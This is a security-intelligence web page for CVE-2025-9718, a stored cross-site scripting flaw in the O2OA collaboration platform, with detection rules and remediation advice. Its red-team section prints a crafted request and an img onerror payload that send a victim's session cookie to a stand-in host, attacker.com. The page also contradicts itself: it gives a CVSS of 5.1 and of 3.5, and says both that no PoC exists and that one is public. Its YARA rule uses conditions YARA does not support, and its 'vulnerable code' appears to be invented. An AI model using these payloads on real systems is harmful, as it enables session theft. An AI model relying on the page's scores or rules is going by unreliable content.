☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
O2oa logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9718

CVE-2025-9718 Cross-Site Scripting in O2oa
📅 PUBLISHED: 2025-08-31 05:32 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9718 is a stored Cross-Site Scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw resides in the /x_processplatform_assemble_designer/jaxrs/process endpoint, specifically within the Personal Profile Page component. An authenticated attacker can inject malicious JavaScript payloads via the name or alias parameters. When an administrator or other user views the crafted profile, the payload executes in their browser session, potentially leading to session hijacking, credential theft, or internal network reconnaissance. The vulnerability affects O2OA versions up to 10.0-410. The vendor has acknowledged the issue and plans to fix it in the next release. A public proof-of-concept (PoC) is available, increasing the risk of exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

O2OA is a Java-based application distributed as a ZIP archive or Docker image. There is no NPM, PyPI, Go, or Ruby package involved. The vulnerability is in the application's own Java code, not in a third-party library. However, organizations using O2OA should verify the integrity of their downloaded artifacts and monitor for official patch releases.

CVSS Breakdown & Threat Level

CVSS Score: 3.5 (Low) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

  • Attack Vector (AV): Network – The attack is performed remotely over the network.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): Low – The attacker needs a valid user account.
  • User Interaction (UI): Required – The victim must view the attacker's profile.
  • Scope (S): Unchanged – The vulnerability does not affect other components.
  • Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low – Limited ability to modify data (e.g., change profile fields).
  • Availability (A): None – No impact on system availability.

Threat Level: Low due to the requirement for authentication and user interaction. However, the public availability of a PoC and the lack of a patch elevate the urgency for organizations using O2OA.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the O2OA process designer module. The endpoint /x_processplatform_assemble_designer/jaxrs/process handles CRUD operations for process definitions. The name and alias fields in the Personal Profile Page are not properly sanitized before being stored and later rendered in the browser.

Attack Flow:

  1. An attacker authenticates to O2OA with a valid user account.
  2. The attacker sends a POST/PUT request to /x_processplatform_assemble_designer/jaxrs/process with a malicious payload in the name or alias parameter, e.g., <script>alert('XSS')</script>.
  3. The server stores the unsanitized payload in the database.
  4. When an administrator or another user navigates to the attacker's profile page, the payload is rendered in the HTML without encoding.
  5. The victim's browser executes the script, which can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding or input validation on the name and alias fields. The application likely uses a framework that does not automatically escape user input in certain contexts.

Vulnerable vs. Patched Code

Vulnerable Code (O2OA <= 10.0-410):

// In the REST endpoint handler
@POST
@Path("process")
public Response createProcess(ProcessData data) {
    // No sanitization of name/alias
    Process process = new Process();
    process.setName(data.getName());  // Stored as-is
    process.setAlias(data.getAlias()); // Stored as-is
    processDao.save(process);
    return Response.ok().build();
}

Patched Code (Expected in next version):

// In the REST endpoint handler
@POST
@Path("process")
public Response createProcess(ProcessData data) {
    Process process = new Process();
    // Sanitize input using OWASP ESAPI or similar
    process.setName(Encoder.forHtml(data.getName()));
    process.setAlias(Encoder.forHtml(data.getAlias()));
    processDao.save(process);
    return Response.ok().build();
}

The patch should apply HTML entity encoding to the name and alias fields before storage or output. Additionally, a Content Security Policy (CSP) header should be implemented to mitigate XSS even if encoding fails.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • O2OA instance (version <= 10.0-410) running on a test environment.
  • Valid user credentials (e.g., user1 / password1).

Exploit Steps:

  1. Log in to O2OA as a regular user.
  2. Intercept the profile update request using Burp Suite or similar.
  3. Modify the name or alias parameter to include a JavaScript payload:
    POST /x_processplatform_assemble_designer/jaxrs/process HTTP/1.1
    Host: target-o2oa.example.com
    Cookie: JSESSIONID=...
    Content-Type: application/json
    
    {
      "name": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>",
      "alias": "test"
    }
    
  4. Send the request.
  5. As an administrator, navigate to the attacker's profile page (e.g., /x_processplatform_assemble_designer/jaxrs/process/{id}).
  6. The payload executes, sending the admin's session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

  • Monitor HTTP requests to /x_processplatform_assemble_designer/jaxrs/process for suspicious name or alias values containing <script>, onerror, onload, or other HTML event handlers.
  • Look for outbound connections to unknown domains from the O2OA server (potential data exfiltration).
  • Review web server logs for unusual User-Agent strings or repeated profile updates.

Mitigation (Temporary):

  • Implement a Web Application Firewall (WAF) rule to block requests containing <script> or on*= in the name or alias parameters.
  • Restrict user permissions to prevent regular users from modifying profile fields that are viewed by administrators.
  • Apply a Content Security Policy (CSP) header to the O2OA application:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /x_processplatform_assemble_designer/jaxrs/process with name or alias containing <script> or on*= patterns.
    • Outbound connections to attacker-controlled domains (e.g., attacker.com) from the O2OA server.
  • File IOCs:
    • Modified process definitions in the database containing JavaScript payloads.
  • Log IOCs:
    • Web server logs showing repeated profile update requests from the same user.
    • Application logs showing errors related to XSS filtering (if any).

Detection Engineering

YARA Rule

rule CVE_2025_9718_O2OA_XSS {
    meta:
        description = "Detects stored XSS payloads in O2OA process designer requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9718"
    strings:
        $xss_payload1 = /<script[^>]*>.*<\/script>/i
        $xss_payload2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss_payload3 = /javascript\s*:/i
    condition:
        any of ($xss_payload*) and
        (http.method == "POST" or http.method == "PUT") and
        http.uri contains "/x_processplatform_assemble_designer/jaxrs/process"
}

Sigma Rule

title: CVE-2025-9718 O2OA Stored XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in O2OA process designer
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9718
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/x_processplatform_assemble_designer/jaxrs/process'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in process names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9718 O2OA Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/x_processplatform_assemble_designer/jaxrs/process"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; pcre:"/on\w+\s*=\s*['\"].*['\"]/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Apply the vendor's patch as soon as it is released. Monitor the O2OA GitHub repository for updates.
  2. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads in the name and alias parameters.
  3. Input Validation: Implement server-side validation to reject any input containing HTML tags or JavaScript event handlers.
  4. Output Encoding: Ensure all user-supplied data is HTML-entity encoded before rendering in the browser.
  5. Content Security Policy: Add a strict CSP header to the O2OA application to prevent execution of inline scripts.

Long-Term Recommendations:

  • Conduct a security audit of the O2OA codebase for similar XSS vulnerabilities.
  • Implement a security development lifecycle (SDL) with mandatory input validation and output encoding.
  • Use a static analysis tool (e.g., SonarQube) to detect XSS patterns in the code.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9718/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.